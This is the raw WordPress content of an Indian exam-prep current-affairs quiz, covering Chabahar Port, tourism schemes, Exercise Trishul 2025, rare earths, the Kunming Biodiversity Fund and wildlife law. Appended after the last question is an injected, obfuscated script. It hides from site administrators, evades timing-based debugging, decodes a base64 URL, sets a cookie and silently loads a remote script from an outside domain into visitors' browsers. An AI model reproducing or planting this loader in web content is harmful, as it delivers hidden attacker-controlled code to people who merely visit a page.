only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>In NEWS: <\/strong>India gets six-month waiver on U.S. sanctions against Chabahar: MEA<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Chabahar Port<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li><strong>Location:<\/strong> Southeastern <strong>Iran<\/strong>, on the <strong>Gulf of Oman<\/strong>, near the Iranian-Indian border with Pakistan. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Type:<\/strong> Deep-sea port, free-trade and transit hub.<\/li>\n\n\n\n<li><strong>Strategic Importance:<\/strong><ul><li>Provides <strong>India direct access to Afghanistan and Central Asia<\/strong> bypassing Pakistan. <strong>Hence statement 2 is correct.<\/strong><\/li><\/ul><ul><li>Counterbalances China-Pakistan Economic Corridor (CPEC).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Enhances trade in the <strong>International North-South Transport Corridor (INSTC)<\/strong>. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Development:<\/strong> India and Iran signed agreements to develop and operate two berths at Chabahar. India has invested in <strong>terminal construction, connectivity infrastructure, and port equipment<\/strong>.<\/li>\n\n\n\n<li><strong>Connectivity:<\/strong> Linked to <strong>Zaranj in Afghanistan<\/strong> via road; can connect to Central Asia for trade.<\/li>\n\n\n\n<li><strong>Geopolitical Aspect:<\/strong> Strengthens India-Iran ties, reduces dependence on Pakistani ports, and provides access to energy and mineral resources in Afghanistan and Central Asia.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"907\" height=\"534\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-1.png\" alt=\"\" class=\"wp-image-2678\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-1.png 907w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-1-300x177.png 300w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-1-768x452.png 768w\" sizes=\"auto, (max-width: 907px) 100vw, 907px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q.<\/strong> <strong>Consider the following pairs :<\/strong> <strong>\u00a0<\/strong> \u00a0 <br>    <strong>Port<\/strong>                     &#8211; <strong>Well known as<\/strong> <br>1. Kamarajar Port    &#8211; First major port in India registered as a company <br>2. Mundra Port        &#8211; Largest privately owned port in India <br>3. Visakhapatnam    &#8211; Largest container port in India <strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/strong><br><br><strong>How many of the Pairs given above are correctly matched?<\/strong> <br><br>(a) Only one pair<br><strong>(b)<\/strong> <strong>Only two pairs<\/strong><br>(c) All three pairs<br>(d) None of the pairs<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/india-six-month-waiver-us-sanctions-on-chabahar-port\/article70220724.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/india-six-month-waiver-us-sanctions-on-chabahar-port\/article70220724.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>6. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">I. The Swadesh Darshan aims to develop theme-based tourist circuits, while PRASHAD Scheme aims to develop pilgrimage and heritage destinations in India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">II. Both the Swadesh Darshan and PRASHAD schemes are the Central Sector Scheme.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">III. Both the Swadesh Darshan and PRASHAD schemes are implemented by the Ministry of Tourism.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>How many of the statements given above are correct?&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(a) Only one\u00a0\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(b) Only two\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(c) All the three\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Answer: (c) All the three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>In NEWS: <\/strong>Sardar Patel\u2019s vision and the meaning of national unity today<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>Swadesh Darshan Scheme<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-103\">\n<li><strong>Type:<\/strong> Central Sector Scheme.<\/li>\n\n\n\n<li><strong>Objective:<\/strong> Promote <strong>integrated development of theme-based tourist circuits<\/strong> in India to boost tourism and local economy.<\/li>\n\n\n\n<li><strong>Launch Year:<\/strong> 2014.<\/li>\n\n\n\n<li><strong>Implementing Ministry:<\/strong> Ministry of Tourism.<\/li>\n\n\n\n<li><strong>Key Features:<\/strong><ul><li>Focus on <strong>theme-based circuits<\/strong> like Spiritual, Buddhist, Eco, Coastal, Wildlife, Heritage, Desert, Himalayan, Tribal, North-East, and Rural circuits.<\/li><\/ul><ul><li>Funding: <strong>Central share up to 60%<\/strong> of project cost in general areas, 90% in North-Eastern and hilly states.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Includes <strong>infrastructure development<\/strong>, tourism facilities, and skill development.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>PRASHAD Scheme<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-105\">\n<li><strong>Full Form:<\/strong> <strong>Pilgrimage Rejuvenation and Spiritual, Heritage Augmentation Drive<\/strong><\/li>\n\n\n\n<li><strong>Type:<\/strong> Central Sector Scheme.<\/li>\n\n\n\n<li><strong>Objective:<\/strong> Integrated development of <strong>pilgrimage and heritage destinations<\/strong> in India.<\/li>\n\n\n\n<li><strong>Launch Year:<\/strong> 2014.<\/li>\n\n\n\n<li><strong>Implementing Ministry:<\/strong> Ministry of Tourism.<\/li>\n\n\n\n<li><strong>Key Features:<\/strong><ul><li>Focus on <strong>infrastructure development, amenities, and beautification<\/strong> of pilgrimage sites.<\/li><\/ul><ul><li>Promote <strong>heritage conservation and cultural tourism<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Funding pattern similar to Swadesh Darshan.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Hence all the statements are correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (UPPSC 2017)<\/strong> <br><br><strong>Q. Swadesh Darshan Scheme launched by Government of India does not include development of which of the following tourist circuits?<\/strong> <br><br>(a) Heritage circuit <br>(b) Sufi circuit <br>(c) Ramayan circuit <br><strong>(d) All of the above are part of the tourism circuit<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/sardar-patels-vision-and-the-meaning-of-national-unity-today\/article70221709.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/sardar-patels-vision-and-the-meaning-of-national-unity-today\/article70221709.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>7. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Statement I:<\/strong> Exercise Trishul 2025 is a tri-service military exercise conducted along western India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Statement II:<\/strong> It is named \u2018Trishul\u2019 because the exercise is conducted between India, Pakistan and Afghanistan.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(c) Statement-I is correct, but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(d) Statement-I is incorrect, but Statement II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Answer: (c) Statement-I is correct, but Statement-II is incorrect<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>In NEWS: <\/strong>Tri-services \u2018Trishul 2025\u2019 to begin on November 3, set to strengthen joint combat preparedness<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Exercise Trishul 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-120\">\n<li>Exercise Trishul 2025 is a <strong>tri-service military exercise<\/strong> involving the Army, Navy, and Air Force.<\/li>\n\n\n\n<li>The exercise is <strong>led by the Indian Navy<\/strong>.<\/li>\n\n\n\n<li>It is conducted along <strong>western India<\/strong>, including Rajasthan, Gujarat coast, Sir Creek, and the northern Arabian Sea.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Hence Statement-I is correct, but Statement-II is incorrect<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Objectives:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-123\">\n<li>Its main objective is to <strong>test joint operations and multi-domain warfare<\/strong>, including land, sea, air, cyber, and electronic warfare.<\/li>\n\n\n\n<li>It aims to <strong>enhance inter-service coordination<\/strong> and overall operational readiness.<\/li>\n\n\n\n<li>The exercise demonstrates <strong>indigenous capabilities<\/strong> and India\u2019s <strong>deterrence posture<\/strong>.<\/li>\n\n\n\n<li>It strengthens <strong>western front defense<\/strong>, <strong>maritime security in the Arabian Sea<\/strong>, and <strong>integrated theater command preparedness<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/tri-services-trishul-2025-to-begin-on-november-3-set-to-strengthen-joint-combat-preparedness\/article70232908.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/tri-services-trishul-2025-to-begin-on-november-3-set-to-strengthen-joint-combat-preparedness\/article70232908.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>8. Which of the following statements about Rare Earth Elements (REEs) are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">1. REEs include all lanthanides along with Scandium and Yttrium.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">2. China dominates global production and processing of Rare Earth Elements (REEs).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">3. In India, Major deposits of rare earth elements are found in inland rocky regions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>In NEWS: <\/strong>What are rare earths, why are they so vital?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Rare Earth Elements (REEs):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-138\">\n<li>REEs include <strong>17 elements<\/strong>: 15 lanthanides + Scandium (Sc) + Yttrium (Y). <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>They are <strong>not very rare<\/strong>, but rarely found in economically exploitable concentrations.<\/li>\n\n\n\n<li>Key properties: <strong>magnetic, luminescent, conductive<\/strong>, essential for modern technology.<\/li>\n\n\n\n<li>Major uses: <strong>EV &amp; hybrid vehicles, wind turbines, smartphones, flat screens, semiconductors, defence equipment<\/strong>.<\/li>\n\n\n\n<li><strong>China dominates global production and processing<\/strong>, creating strategic supply risks. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>In India, REE deposits are mainly in <strong>coastal beach sands<\/strong> (Kerala, Tamil Nadu, Odisha, Andhra, Maharashtra, Gujarat). <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>Ore minerals in India: <strong>Monazite<\/strong> (rich in light REEs), <strong>Bastn\u00e4site<\/strong> (for medium REEs).<\/li>\n\n\n\n<li>India lacks significant <strong>heavy\/critical REEs<\/strong> like Dysprosium, Terbium, Europium.<\/li>\n\n\n\n<li>Government initiative: <strong>National Critical Minerals Mission (2025)<\/strong> aims to secure supply and promote domestic processing.<\/li>\n\n\n\n<li>Strategic importance: REEs are vital for <strong>clean energy transition, high-tech manufacturing, and national security<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br><strong>Statement I:<\/strong> Some rare earth elements are used in the manufacture of flat television screens and computer monitors.\u00a0\u00a0 <br><strong>Statement II:<\/strong>\u00a0 Some rare earth elements have phosphorescent properties.\u00a0\u00a0 <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br><strong>(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong> <br>(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I <br>(c) Statement-I is correct, but Statement-II is incorrect <br>(d) Statement-I is incorrect, but Statement II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/154125\/OPS\/G7HF3H5RK.1+G8TF3IOVU.1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/154125\/OPS\/G7HF3H5RK.1+G8TF3IOVU.1.html<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>9. The Kunming Biodiversity Fund (KBF) is:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(a) A bilateral fund by China and India for biodiversity projects<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">(b) A fund under the World Bank for climate finance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">(c) A UN fund exclusively for marine biodiversity<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(d) A multi-partner trust fund set up by China and UNEP<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Answer: (d) A multi-partner trust fund set up by China and UNEP<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>In NEWS: <\/strong>Seven countries secure $5.8million from Kunming Biodiversity Fund to make agriculture more nature-friendly<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Kunming Biodiversity Fund (KBF):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-149\">\n<li>KBF is a <strong>Multi-Partner Trust Fund (MPTF)<\/strong> set up by <strong>China<\/strong> and <strong>UNEP<\/strong> to support global biodiversity action. <strong>Hence option (d) is correct.<\/strong><\/li>\n\n\n\n<li>Initial seed funding: <strong>\u2248 US$200\u2013230 million<\/strong> contributed by China.<\/li>\n\n\n\n<li>Launched formally in <strong>May 2024<\/strong>, announced at <strong>CBD COP15<\/strong> in Kunming, China.<\/li>\n\n\n\n<li>Objective: To help <strong>developing countries implement the Kunming-Montreal Global Biodiversity Framework (KM-GBF)<\/strong> and their National Biodiversity Strategies and Action Plans (NBSAPs).<\/li>\n\n\n\n<li>Focus areas: policy &amp; law reform, capacity building, multilateral cooperation, and mobilizing financial resources.<\/li>\n\n\n\n<li>Works mainly through <strong>grant support<\/strong> to countries, emphasizing transparency and global cooperation.<\/li>\n\n\n\n<li>Governance: <strong>Executive Council<\/strong> (China, UNEP, SCBD), <strong>Interim Secretariat<\/strong> hosted at UNEP, and <strong>Independent Technical Advisory Group (ITAG)<\/strong>.<\/li>\n\n\n\n<li>In 2025, approved <strong>22 full-size projects<\/strong> in <strong>34 countries<\/strong> and committed <strong>US$5.8 million<\/strong> for FAO-led biodiversity projects.<\/li>\n\n\n\n<li>Significance: Strengthens global biodiversity finance, supports sustainable development, and offers partnership opportunities for India.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Invasive Species Specialist Group&#8217; (that develops Global Invasive Species Database) belongs to which one of the following organisations?<\/strong> <br><br><strong>(a) The International Union for Conservation of Nature<\/strong> <br>(b) The United Nations Environment Programme <br>(c) The United Nations World Commission for Environment and Development <br>(d) The World Wide Fund for Nature<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/seven-countries-secure58million-fromkunming-biodiversity-fund-to-make-agriculture-more-nature-friendly#google_vignette\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/wildlife-biodiversity\/seven-countries-secure58million-fromkunming-biodiversity-fund-to-make-agriculture-more-nature-friendly#google_vignette<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>10. According to the Wildlife (Protection) Act, 1972, which of the following animals cannot be hunted by any person except under some provisions provided by law?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">1. Gharial<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">2. Indian wild ass<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">3. Wild buffalo<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>Under the Wildlife (Protection) Act, 1972<\/strong>, animals under Schedule I <strong>cannot be hunted except under specific legal provisions<\/strong>.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-163\">\n<li><strong>Gharial<\/strong> \u2013 Listed in <strong>Schedule I<\/strong> &#8211; Fully protected.<\/li>\n\n\n\n<li><strong>Indian wild ass<\/strong> \u2013 Listed in <strong>Schedule I<\/strong> &#8211; Fully protected.<\/li>\n\n\n\n<li><strong>Wild buffalo<\/strong> \u2013 Listed in <strong>Schedule I<\/strong> &#8211; Fully protected.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">All three are <strong>critically endangered or endangered species<\/strong> under the Act and hunting is prohibited except under very special conditions permitted by law.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to Indian Judiciary, consider the following statements: 1. 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